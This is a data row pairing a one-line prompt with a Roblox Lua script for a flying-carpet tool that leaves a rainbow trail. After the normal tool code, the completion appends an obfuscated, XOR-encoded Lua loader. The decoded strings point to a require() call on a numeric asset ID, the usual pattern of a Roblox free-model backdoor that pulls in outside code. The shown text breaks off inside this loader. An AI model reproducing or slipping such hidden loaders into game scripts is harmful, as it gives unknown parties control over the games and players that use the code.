prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RemovalMonitor = script:WaitForChild("RemovalMonitor")
CarpetPieces = {
{MeshId = 223079795, Angle = 160},
{MeshId = 223079835, Angle = 100},
{MeshId = 223079888, Angle = 100},
{MeshId = 223079981, Angle = 160},
}
CarpetSize = Vector3.new(3, 0.5, 6.5)
BaseUrl = "http://www.roblox.com/asset/?id="
Rate = (1 / 10)
BasePart = Instance.new("Part")
BasePart.Material = Enum.Material.Plastic
BasePart.Shape = Enum.PartType.Block
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = false
BasePart.Locked = true
ColorPart = BasePart:Clone()
ColorPart.Name = "ColorPart"
ColorPart.Reflectance = 0.25
ColorPart.Transparency = 0.1
ColorPart.Material = Enum.Material.SmoothPlastic
ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.Size = Vector3.new(1, 1, 1)
ColorPart.Anchored = true
ColorPart.CanCollide = false
ColorMesh = Instance.new("SpecialMesh")
ColorMesh.Name = "Mesh"
ColorMesh.MeshType = Enum.MeshType.FileMesh
ColorMesh.MeshId = (BaseUrl .. "9856898")
ColorMesh.TextureId = (BaseUrl .. "1361097")
ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick.
ColorMesh.Offset = Vector3.new(0, 0, 0)
ColorMesh.VertexColor = Vector3.new(1, 1, 1)
ColorMesh.Parent = ColorPart
ColorLight = Instance.new("PointLight")
ColorLight.Name = "Light"
ColorLight.Brightness = 50
ColorLight.Range = 8
ColorLight.Shadows = false
ColorLight.Enabled = true
ColorLight.Parent = ColorPart
RainbowColors = {
Vector3.new(1, 0, 0),
Vector3.new(1, 0.5, 0),
Vector3.new(1, 1, 0),
Vector3.new(0, 1, 0),
Vector3.new(0, 1, 1),
Vector3.new(0, 0, 1),
Vector3.new(0.5, 0, 1)
}
Animations = {
Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
Grips = {
Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0),
Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008)
}
Flying = false
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
Handle.Transparency = 0
Tool.Grip = Grips.Normal
Tool.Enabled = true
function Clamp(Number, Min, Max)
return math.max(math.min(Max, Number), Min)
end
function TransformModel(Objects, Center, NewCFrame, Recurse)
local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects)
for i, v in pairs(Objects) do
if v:IsA("BasePart") then
v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame))
end
if Recurse then
TransformModel(v:GetChildren(), Center, NewCFrame, true)
end
end
end
function Weld(Parent, PrimaryPart)
local Parts = {}
local Welds = {}
local function WeldModel(Parent, PrimaryPart)
for i, v in pairs(Parent:GetChildren()) do
if v:IsA("BasePart") then
if v ~= PrimaryPart then
local Weld = Instance.new("Weld")
Weld.Name = "Weld"
Weld.Part0 = PrimaryPart
Weld.Part1 = v
Weld.C0 = PrimaryPart.CFrame:inverse()
Weld.C1 = v.CFrame:inverse()
Weld.Parent = PrimaryPart
table.insert(Welds, Weld)
end
table.insert(Parts, v)
end
WeldModel(v, PrimaryPart)
end
end
WeldModel(Parent, PrimaryPart)
return Parts, Welds
end
function CleanUp()
for i, v in pairs(Tool:GetChildren()) do
if v:IsA("BasePart") and v ~= Handle then
v:Destroy()
end
end
end
function CreateRainbow(Length)
local RainbowModel = Instance.new("Model")
RainbowModel.Name = "RainbowPart"
for i, v in pairs(RainbowColors) do
local Part = ColorPart:Clone()
Part.Name = "Part"
Part.Size = Vector3.new(0.5, 0.5, Length)
Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0)
Part.Mesh.Scale = (Part.Size * 2)
Part.Mesh.VertexColor = v
Part.Light.Color = Color3.new(v.X, v.Y, v.Z)
Part.Parent = RainbowModel
end
local RainbowBoundingBox = BasePart:Clone()
RainbowBoundingBox.Name = "BoundingBox"
RainbowBoundingBox.Transparency = 1
RainbowBoundingBox.Size = RainbowModel:GetModelSize()
RainbowBoundingBox.Anchored = true
RainbowBoundingBox.CanCollide = false
RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame()
RainbowBoundingBox.Parent = RainbowModel
return RainbowModel
end
function GetRainbowModel()
local ModelName = (Player.Name .. "'s Rainbow")
local Model = game:GetService("Workspace"):FindFirstChild(ModelName)
if not Model then
Model = Instance.new("Model")
Model.Name = ModelName
local RemovalMonitorClone = RemovalMonitor:Clone()
RemovalMonitorClone.Disabled = false
RemovalMonitorClone.Parent = Model
end
return Model
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Activated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
Flying = not Flying
if Flying then
Handle.Transparency = 1
CleanUp()
local CarpetParts = {}
for i, v in pairs(CarpetPieces) do
local CarpetPart = BasePart:Clone()
CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces))
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshType = Enum.MeshType.FileMesh
Mesh.MeshId = (BaseUrl .. v.MeshId)
Mesh.TextureId = (BaseUrl .. "223080038")
Mesh.Scale = Vector3.new(1.125, 1.125, 1.125)
Mesh.VertexColor = Vector3.new(1, 1, 1)
Mesh.Offset = Vector3.new(0, 0, 0)
Mesh.Parent = CarpetPart
local Weld = Instance.new("Weld")
Weld.Part0 = Handle
Weld.Part1 = CarpetPart
local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0)
local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0))
Weld.C1 = CFrame.new(0, XOffset, YOffset)
Weld.Parent = CarpetPart
table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle})
CarpetPart.Parent = Tool
end
spawn(function()
InvokeClient("PlayAnimation", Animations.Sit)
Tool.Grip = Grips.Flying
end)
Torso.Anchored = true
delay(.2,function()
Torso.Anchored = false
Torso.Velocity = Vector3.new(0,0,0)
Torso.RotVelocity = Vector3.new(0,0,0)
end)
FlightSpin = Instance.new("BodyGyro")
FlightSpin.Name = "FlightSpin"
FlightSpin.P = 10000
FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100
FlightSpin.cframe = Torso.CFrame
FlightPower = Instance.new("BodyVelocity")
FlightPower.Name = "FlightPower"
FlightPower.velocity = Vector3.new(0, 0, 0)
FlightPower.maxForce = Vector3.new(1,1,1)*1000000
FlightPower.P = 1000
FlightHold = Instance.new("BodyPosition")
FlightHold.Name = "FlightHold"
FlightHold.P = 100000
FlightHold.maxForce = Vector3.new(0, 0, 0)
FlightHold.position = Torso.Position
FlightSpin.Parent = Torso
FlightPower.Parent = Torso
FlightHold.Parent = Torso
spawn(function()
local LastPlace = nil
while Flying and ToolEquipped and CheckIfAlive() do
local CurrentPlace = Handle.Position
local Velocity = Torso.Velocity
Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude
if LastPlace and Velocity > 10 then
spawn(function()
local Model = GetRainbowModel()
local Distance = (LastPlace - CurrentPlace).magnitude
local Length = Distance + 3.5
local RainbowModel = CreateRainbow(Length)
--Thanks so much to ArceusInator for helping solve this part!
local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace)
TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true)
Debris:AddItem(RainbowModel, 1)
RainbowModel.Parent = Model
if Model and not Model.Parent then
Model.Parent = game:GetService("Workspace")
end
LastPlace = CurrentPlace
end)
elseif not LastPlace then
LastPlace = CurrentPlace
end
wait(Rate)
end
end)
elseif not Flying then
Torso.Velocity = Vector3.new(0, 0, 0)
Torso.RotVelocity = Vector3.new(0, 0, 0)
for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
if v and v.Parent then
v:Destroy()
end
end
spawn(function()
Tool.Grip = Grips.Normal
InvokeClient("StopAnimation", Animations.Sit)
end)
end
wait(2)
Tool.Enabled = true
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("HumanoidRootPart")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R15 then
Animations = {
Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
else
Animations = {
Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
end
end
Tool.Grip = Grips.Normal
ToolEquipped = true
end
function Unequipped()
Flying = false
for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
if v and v.Parent then
v:Destroy()
end
end
CleanUp()
Handle.Transparency = 0
ToolEquipped = false
end
function OnServerInvoke(player, mode, value)
if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
return
end
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
CleanUp()
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
return(function(ililiilllliliillli_IIlIllIlIlIIIIIlll,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll)local ililiilllliliillli_IIIIlllllIIllIll=string.char;local ililiilllliliillli_lIIIlIIIllllllIllIIIII=string.sub;local ililiilllliliillli_IlIIllIlIIIlllIII=table.concat;local ililiilllliliillli_IIIlIIIllIllIllIIIlII=math.ldexp;local ililiilllliliillli_lIIllIIlIlIlllll=getfenv or function()return _ENV end;local ililiilllliliillli_IIIIIllIIllIllIllllIlll=select;local ililiilllliliillli_IIlIlIIIIlIIIIIllIII=unpack or table.unpack;local ililiilllliliillli_llIllIlIlIIllIlIll=tonumber;local ililiilllliliillli_IlIIIIIlIIIII='\14\11\11\11\8\12\11\11\11\108\110\127\109\110\101\125\8\12\11\11\11\121\110\122\126\98\121\110\8\3\11\11\11\127\100\101\126\102\105\110\121\8\3\11\11\11\127\100\120\127\121\98\101\108\8\1\11\11\11\63\61\50\61\61\59\62\56\58\51\11\11\11\11\0\11\11\11\25\2\11\11\11\10\11\11\11\11\11\11\11\11\10\11\9\11\43\11\11\11\11\11\11\9\11\25\11\11\10\11\8\11\11\11\25\11\11\9\11\15\11\11\11\25\11\11\8\11\14\11\11\11\11\11\11\9\11\8\11\11\11\11\11\11\10\11\11\11\11\11\11\11\11\11\11\11\11\9\11\11\11\11\11\11\10\11\10\11\11\12\11\11\11\10\11\11\11\11';local ililiilllliliillli_llIllIlIlIIllIlIll=(bit or bit32);local ililiilllliliillli_llIlllIIll=ililiilllliliillli_llIllIlIlIIllIlIll and ililiilllliliillli_llIllIlIlIIllIlIll.bxor or function(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllIIllllIllIllIllI)local ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlllIIll,ililiilllliliillli_llIlIIll=1,0,10 while ililiilllliliillli_llIllIlIlIIllIlIll>0 and ililiilllliliillli_lllIIllllIllIllIllI>0 do local ililiilllliliillli_llIlIIll,ililiilllliliillli_IIlIllIlIlIIIIIlll=ililiilllliliillli_llIllIlIlIIllIlIll%2,ililiilllliliillli_lllIIllllIllIllIllI%2 if ililiilllliliillli_llIlIIll~=ililiilllliliillli_IIlIllIlIlIIIIIlll then ililiilllliliillli_llIlllIIll=ililiilllliliillli_llIlllIIll+ililiilllliliillli_lllllIlIIIlllIIIllllll end ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllIIllllIllIllIllI,ililiilllliliillli_lllllIlIIIlllIIIllllll=(ililiilllliliillli_llIllIlIlIIllIlIll-ililiilllliliillli_llIlIIll)/2,(ililiilllliliillli_lllIIllllIllIllIllI-ililiilllliliillli_IIlIllIlIlIIIIIlll)/2,ililiilllliliillli_lllllIlIIIlllIIIllllll*2 end if ililiilllliliillli_llIllIlIlIIllIlIll<ililiilllliliillli_lllIIllllIllIllIllI then ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllIIllllIllIllIllI end while ililiilllliliillli_llIllIlIlIIllIlIll>0 do local ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_llIllIlIlIIllIlIll%2 if ililiilllliliillli_lllIIllllIllIllIllI>0 then ililiilllliliillli_llIlllIIll=ililiilllliliillli_llIlllIIll+ililiilllliliillli_lllllIlIIIlllIIIllllll end ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll=(ililiilllliliillli_llIllIlIlIIllIlIll-ililiilllliliillli_lllIIllllIllIllIllI)/2,ililiilllliliillli_lllllIlIIIlllIIIllllll*2 end return ililiilllliliillli_llIlllIIll end local function ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllIIllllIllIllIllI)if ililiilllliliillli_lllIIllllIllIllIllI then local ililiilllliliillli_llIllIlIlIIllIlIll=(ililiilllliliillli_lllllIlIIIlllIIIllllll/2^(ililiilllliliillli_llIllIlIlIIllIlIll-1))%2^((ililiilllliliillli_lllIIllllIllIllIllI-1)-(ililiilllliliillli_llIllIlIlIIllIlIll-1)+1);return ililiilllliliillli_llIllIlIlIIllIlIll-ililiilllliliillli_llIllIlIlIIllIlIll%1;else local ililiilllliliillli_llIllIlIlIIllIlIll=2^(ililiilllliliillli_llIllIlIlIIllIlIll-1);return(ililiilllliliillli_lllllIlIIIlllIIIllllll%(ililiilllliliillli_llIllIlIlIIllIlIll+ililiilllliliillli_llIllIlIlIIllIlIll)>=ililiilllliliillli_llIllIlIlIIllIlIll)and 1 or 0;end;end;local ililiilllliliillli_llIllIlIlIIllIlIll=1;local function ililiilllliliillli_lllllIlIIIlllIIIllllll()local ililiilllliliillli_llIlIIll,ililiilllliliillli_IIlIllIlIlIIIIIlll,ililiilllliliillli_lllIIllllIllIllIllI,ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll(ililiilllliliillli_IlIIIIIlIIIII,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll+3);ililiilllliliillli_llIlIIll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_llIlIIll,11)ililiilllliliillli_IIlIllIlIlIIIIIlll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_IIlIllIlIlIIIIIlll,11)ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_llIlllIIll(ililiilllliliillli_lllIIllllIllIllIllI,11)ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_lllllIlIIIlllIIIllllll,11)ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll+4;return(ililiilllliliillli_lllllIlIIIlllIIIllllll*16777216)+(ililiilllliliillli_lllIIllllIllIllIllI*65536)+(ililiilllliliillli_IIlIllIlIlIIIIIlll*256)+ililiilllliliillli_llIlIIll;end;local function ililiilllliliillli_IIIIIIlIIlllIlllll()local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_IIlIllIlIlIIIIIlll(ililiilllliliillli_IlIIIIIlIIIII,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll),11);ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll+1;return ililiilllliliillli_lllllIlIIIlllIIIllllll;end;local function ililiilllliliillli_llIlIIll()local ililiilllliliillli_lllIIllllIllIllIllI,ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll(ililiilllliliillli_IlIIIIIlIIIII,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll+2);ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_llIlllIIll(ililiilllliliillli_lllIIllllIllIllIllI,11)ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_lllllIlIIIlllIIIllllll,11)ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll+2;return(ililiilllliliillli_lllllIlIIIlllIIIllllll*256)+ililiilllliliillli_lllIIllllIllIllIllI;end;local function ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI()local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllllIlIIIlllIIIllllll();local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll();local ililiilllliliillli_llIlIIll=1;local ililiilllliliillli_llIlllIIll=(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_lllllIlIIIlllIIIllllll,1,20)*(2^32))+ililiilllliliillli_llIllIlIlIIllIlIll;local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_lllllIlIIIlllIIIllllll,21,31);local ililiilllliliillli_lllllIlIIIlllIIIllllll=((-1)^ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_lllllIlIIIlllIIIllllll,32));if(ililiilllliliillli_llIllIlIlIIllIlIll==0)then if(ililiilllliliillli_llIlllIIll==0)then return ililiilllliliillli_lllllIlIIIlllIIIllllll*0;else ililiilllliliillli_llIllIlIlIIllIlIll=1;ililiilllliliillli_llIlIIll=0;end;elseif(ililiilllliliillli_llIllIlIlIIllIlIll==2047)then return(ililiilllliliillli_llIlllIIll==0)and(ililiilllliliillli_lllllIlIIIlllIIIllllll*(1/0))or(ililiilllliliillli_lllllIlIIIlllIIIllllll*(0/0));end;return ililiilllliliillli_IIIlIIIllIllIllIIIlII(ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIllIlIlIIllIlIll-1023)*(ililiilllliliillli_llIlIIll+(ililiilllliliillli_llIlllIIll/(2^52)));end;local ililiilllliliillli_IIlIlIIlIIIlIIIl=ililiilllliliillli_lllllIlIIIlllIIIllllll;local function ililiilllliliillli_IIIlIIIllIllIllIIIlII(ililiilllliliillli_lllllIlIIIlllIIIllllll)local ililiilllliliillli_lllIIllllIllIllIllI;if(not ililiilllliliillli_lllllIlIIIlllIIIllllll)then ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIlIIlIIIlIIIl();if(ililiilllliliillli_lllllIlIIIlllIIIllllll==0)then return'';end;end;ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lIIIlIIIllllllIllIIIII(ililiilllliliillli_IlIIIIIlIIIII,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll+ililiilllliliillli_lllllIlIIIlllIIIllllll-1);ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll+ililiilllliliillli_lllllIlIIIlllIIIllllll;local ililiilllliliillli_lllllIlIIIlllIIIllllll={}for ililiilllliliillli_llIllIlIlIIllIlIll=1,#ililiilllliliillli_lllIIllllIllIllIllI do ililiilllliliillli_lllllIlIIIlllIIIllllll[ililiilllliliillli_llIllIlIlIIllIlIll]=ililiilllliliillli_IIIIlllllIIllIll(ililiilllliliillli_llIlllIIll(ililiilllliliillli_IIlIllIlIlIIIIIlll(ililiilllliliillli_lIIIlIIIllllllIllIIIII(ililiilllliliillli_lllIIllllIllIllIllI,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll)),11))end return ililiilllliliillli_IlIIllIlIIIlllIII(ililiilllliliillli_lllllIlIIIlllIIIllllll);end;local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllllIlIIIlllIIIllllll;local function ililiilllliliillli_IlIIllIlIIIlllIII(...)return{...},ililiilllliliillli_IIIIIllIIllIllIllllIlll('#',...)end local function ililiilllliliillli_IlIIIIIlIIIII()local ililiilllliliillli_IIlIlIIIIlIIIIIllIII={};local ililiilllliliillli_IIlIllIlIlIIIIIlll={};local ililiilllliliillli_llIllIlIlIIllIlIll={};local ililiilllliliillli_lIIIlIIIllllllIllIIIII={[#{{919;517;422;920};"1 + 1 = 111";}]=ililiilllliliillli_IIlIllIlIlIIIIIlll,[#{"1 + 1 = 111";{573;717;344;721};"1 + 1 = 111";}]=nil,[#{"1 + 1 = 111";{900;831;989;403};"1 + 1 = 111";{726;527;623;875};}]=ililiilllliliillli_llIllIlIlIIllIlIll,[#{{888;363;893;288};}]=ililiilllliliillli_IIlIlIIIIlIIIIIllIII,};local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllllIlIIIlllIIIllllll()local ililiilllliliillli_llIlllIIll={}for ililiilllliliillli_lllIIllllIllIllIllI=1,ililiilllliliillli_llIllIlIlIIllIlIll do local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIIIIIlIIlllIlllll();local ililiilllliliillli_llIllIlIlIIllIlIll;if(ililiilllliliillli_lllllIlIIIlllIIIllllll==2)then ililiilllliliillli_llIllIlIlIIllIlIll=(ililiilllliliillli_IIIIIIlIIlllIlllll()~=0);elseif(ililiilllliliillli_lllllIlIIIlllIIIllllll==0)then ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI();elseif(ililiilllliliillli_lllllIlIIIlllIIIllllll==3)then ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_IIIlIIIllIllIllIIIlII();end;ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI]=ililiilllliliillli_llIllIlIlIIllIlIll;end;for ililiilllliliillli_llIllIlIlIIllIlIll=1,ililiilllliliillli_lllllIlIIIlllIIIllllll()do ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_llIllIlIlIIllIlIll-1]=ililiilllliliillli_IlIIIIIlIIIII();end;for ililiilllliliillli_IlIIIIIlIIIII=1,ililiilllliliillli_lllllIlIIIlllIIIllllll()do local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_IIIIIIlIIlllIlllll();if(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_llIllIlIlIIllIlIll,1,1)==0)then local ililiilllliliillli_IIlIllIlIlIIIIIlll=ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_llIllIlIlIIllIlIll,2,3);local ililiilllliliillli_IIIIIIlIIlllIlllll=ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_llIllIlIlIIllIlIll,4,6);local ililiilllliliillli_llIllIlIlIIllIlIll={ililiilllliliillli_llIlIIll(),ililiilllliliillli_llIlIIll(),nil,nil};if(ililiilllliliillli_IIlIllIlIlIIIIIlll==0)then ililiilllliliillli_llIllIlIlIIllIlIll[#{"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";}]=ililiilllliliillli_llIlIIll();ililiilllliliillli_llIllIlIlIIllIlIll[#("WVVD")]=ililiilllliliillli_llIlIIll();elseif(ililiilllliliillli_IIlIllIlIlIIIIIlll==1)then ililiilllliliillli_llIllIlIlIIllIlIll[#("SvT")]=ililiilllliliillli_lllllIlIIIlllIIIllllll();elseif(ililiilllliliillli_IIlIllIlIlIIIIIlll==2)then ililiilllliliillli_llIllIlIlIIllIlIll[#("SiT")]=ililiilllliliillli_lllllIlIIIlllIIIllllll()-(2^16)elseif(ililiilllliliillli_IIlIllIlIlIIIIIlll==3)then ililiilllliliillli_llIllIlIlIIllIlIll[#("IT4")]=ililiilllliliillli_lllllIlIIIlllIIIllllll()-(2^16)ililiilllliliillli_llIllIlIlIIllIlIll[#("gUSU")]=ililiilllliliillli_llIlIIll();end;if(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_IIIIIIlIIlllIlllll,1,1)==1)then ililiilllliliillli_llIllIlIlIIllIlIll[#("XH")]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_llIllIlIlIIllIlIll[#("r8")]]end if(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_IIIIIIlIIlllIlllll,2,2)==1)then ililiilllliliillli_llIllIlIlIIllIlIll[#("W7Z")]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_llIllIlIlIIllIlIll[#("YFq")]]end if(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_IIIIIIlIIlllIlllll,3,3)==1)then ililiilllliliillli_llIllIlIlIIllIlIll[#{"1 + 1 = 111";{474;803;189;222};"1 + 1 = 111";"1 + 1 = 111";}]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_llIllIlIlIIllIlIll[#("4kGL")]]end ililiilllliliillli_IIlIlIIIIlIIIIIllIII[ililiilllliliillli_IlIIIIIlIIIII]=ililiilllliliillli_llIllIlIlIIllIlIll;end end;ililiilllliliillli_lIIIlIIIllllllIllIIIII[3]=ililiilllliliillli_IIIIIIlIIlllIlllll();return ililiilllliliillli_lIIIlIIIllllllIllIIIII;end;local function ililiilllliliillli_IIIlIIIllIllIllIIIlII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_lIIIlIIIllllllIllIIIII)ililiilllliliillli_llIllIlIlIIllIlIll=(ililiilllliliillli_llIllIlIlIIllIlIll==true and ililiilllliliillli_IlIIIIIlIIIII())or ililiilllliliillli_llIllIlIlIIllIlIll;return(function(...)local ililiilllliliillli_IIlIllIlIlIIIIIlll=ililiilllliliillli_llIllIlIlIIllIlIll[1];local ililiilllliliillli_llIlllIIll=ililiilllliliillli_llIllIlIlIIllIlIll[3];local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll[2];local ililiilllliliillli_IlIIIIIlIIIII=ililiilllliliillli_IlIIllIlIIIlllIII local ililiilllliliillli_lllIIllllIllIllIllI=1;local ililiilllliliillli_llIlIIll=-1;local ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI={};local ililiilllliliillli_IIIIIIlIIlllIlllll={...};local ililiilllliliillli_IIIIIllIIllIllIllllIlll=ililiilllliliillli_IIIIIllIIllIllIllllIlll('#',...)-1;local ililiilllliliillli_llIllIlIlIIllIlIll={};local ililiilllliliillli_llIllIlIlIIllIlIll={};for ililiilllliliillli_lllllIlIIIlllIIIllllll=0,ililiilllliliillli_IIIIIllIIllIllIllllIlll do if(ililiilllliliillli_lllllIlIIIlllIIIllllll>=ililiilllliliillli_llIlllIIll)then ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI[ililiilllliliillli_lllllIlIIIlllIIIllllll-ililiilllliliillli_llIlllIIll]=ililiilllliliillli_IIIIIIlIIlllIlllll[ililiilllliliillli_lllllIlIIIlllIIIllllll+1];else ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_IIIIIIlIIlllIlllll[ililiilllliliillli_lllllIlIIIlllIIIllllll+#{"1 + 1 = 111";}];end;end;local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIIIIllIIllIllIllllIlll-ililiilllliliillli_llIlllIIll+1 local ililiilllliliillli_lllllIlIIIlllIIIllllll;local ililiilllliliillli_llIlllIIll;while true do ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("O")];if ililiilllliliillli_llIlllIIll<=#("LKoX6yUu")then if ililiilllliliillli_llIlllIIll<=#("4LX")then if ililiilllliliillli_llIlllIIll<=#("V")then if ililiilllliliillli_llIlllIIll==#("")then local 